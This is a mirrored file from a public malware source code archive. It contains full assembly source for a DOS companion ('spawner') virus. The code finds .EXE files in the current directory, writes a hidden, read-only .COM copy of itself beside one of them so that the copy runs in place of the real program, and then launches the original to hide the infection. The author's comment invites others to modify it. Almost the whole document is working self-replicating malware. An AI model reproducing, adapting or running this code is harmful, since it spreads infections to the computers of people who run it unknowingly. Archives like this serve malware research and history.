mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
175 lines
4.3 KiB
NASM
175 lines
4.3 KiB
NASM
;NON-RESIDENT SPAWNER
|
|
|
|
; I threw this thing together in less than an hour and haven't looked
|
|
; at it since so yes, I know it needs real work. Mangle and change as
|
|
; you please. The original goal was to create the smallest spawner but
|
|
; I got bored with the whole thing. Some of the code was taken from
|
|
; the source code to Directory Magic by pcmag. Have phun....
|
|
|
|
|
|
|
|
|
|
|
|
CSEG SEGMENT
|
|
ASSUME CS:CSEG,DS:NOTHING
|
|
|
|
ORG 100H ;Beginning for .COM programs
|
|
|
|
START: JMP MY_BEGIN ;Initialization code is at end
|
|
|
|
|
|
wild DB "*.EXE",0
|
|
file_Ext DB "COM",0
|
|
file_found DB 12 DUP(' '), 0
|
|
file_create DB 12 DUP(' '), 0
|
|
search_attrib DW 17H
|
|
num_infect dw 0
|
|
|
|
my_cmd:
|
|
Cmd_len db 13
|
|
file_clone db 12 DUP (' '), 0
|
|
|
|
ASSUME CS:CSEG, DS:CSEG, ES:NOTHING
|
|
|
|
;------------------------------------------------------------------;
|
|
Prepare_command:
|
|
cld
|
|
mov di,OFFSET file_clone
|
|
mov al,0
|
|
mov cx,12
|
|
repne scasb ; find the end of string \0
|
|
|
|
mov al,0Dh ; <CR>
|
|
stosb ; replace \0 with a <CR>
|
|
|
|
mov ax,12 ;store length of the command
|
|
sub ax,cx
|
|
mov cmd_len, al
|
|
ret
|
|
|
|
;------------------------------------------------------------------;
|
|
Store_name:
|
|
|
|
MOV DI,OFFSET file_found ;Point to buffer.
|
|
MOV SI,158
|
|
MOV CX,12
|
|
REP MOVSB
|
|
|
|
MOV DI,OFFSET file_create ;Point to buffer.
|
|
MOV SI,158
|
|
MOV CX,12
|
|
REP MOVSB
|
|
|
|
cld
|
|
mov di,OFFSET file_create
|
|
mov al,'.'
|
|
mov cx,9
|
|
repne scasb ;find the '.'
|
|
|
|
mov si,OFFSET file_ext
|
|
mov cx,3
|
|
rep movsb ;replace the .EXE with .COM
|
|
|
|
ret
|
|
|
|
|
|
;------------------------------------------------------------------;
|
|
;Does the file exist?
|
|
|
|
Check_file:
|
|
mov dx,OFFSET file_create
|
|
mov cx,0
|
|
mov ax,3d00h ; Open file read only
|
|
int 21h
|
|
|
|
Chk_done:
|
|
ret
|
|
|
|
;------------------------------------------------------------------;
|
|
Infect_file:
|
|
;Create file
|
|
mov dx,OFFSET file_create
|
|
mov cx,0
|
|
mov ah,3ch
|
|
int 21h
|
|
jc EXIT
|
|
|
|
;Write to file
|
|
mov bx,ax
|
|
mov cx,(OFFSET END_OF_CODE - OFFSET START)
|
|
mov dx,OFFSET START
|
|
mov ah,40h
|
|
int 21h
|
|
|
|
;Close file
|
|
mov ah,3eh ; ASSUMES bx still has file handle
|
|
int 21h
|
|
|
|
;Change attributes
|
|
mov dx,OFFSET file_create
|
|
mov cx,3 ;(1) read only, (2) hidden, (4) system
|
|
mov ax,4301h
|
|
int 21h
|
|
|
|
ret
|
|
|
|
;------------------------------------------------------------------;
|
|
; Read all the directory filenames and store as records in buffer. ;
|
|
;------------------------------------------------------------------;
|
|
|
|
MY_BEGIN:
|
|
mov sp,offset STACK_HERE ;move stack down
|
|
mov bx,sp
|
|
add bx,15
|
|
mov cl,4
|
|
shr bx,cl
|
|
mov ah,4ah ;deallocate rest of memory
|
|
int 21h
|
|
|
|
MOV DI,OFFSET file_clone ;Point to buffer.
|
|
MOV SI,OFFSET file_found
|
|
MOV CX,12
|
|
REP MOVSB
|
|
|
|
READ_DIR: MOV DX,OFFSET wild
|
|
MOV CX,search_attrib
|
|
|
|
MOV AH,4EH ; This finds the first matching file.
|
|
INT 21H
|
|
|
|
JC EXIT ;If empty directory, exit.
|
|
|
|
Do_file:
|
|
call Store_name
|
|
|
|
call Check_file
|
|
jnc seek_another ; CF = 0, shadow already there... skip it
|
|
|
|
call Infect_file
|
|
jmp Exit
|
|
|
|
seek_another:
|
|
|
|
find_next:
|
|
mov ah,4fh
|
|
int 21h
|
|
jmp Do_file
|
|
|
|
EXIT:
|
|
|
|
;Run the original program
|
|
call Prepare_command
|
|
mov si, OFFSET my_cmd
|
|
int 2Eh ;Pass command to command
|
|
; interpreter for execution
|
|
;Exit to DOS
|
|
MOV AX,4C00H
|
|
INT 21H
|
|
|
|
END_OF_CODE = $
|
|
|
|
STACK_HERE EQU END_OF_CODE + 512
|
|
|
|
CSEG ENDS
|
|
END START
|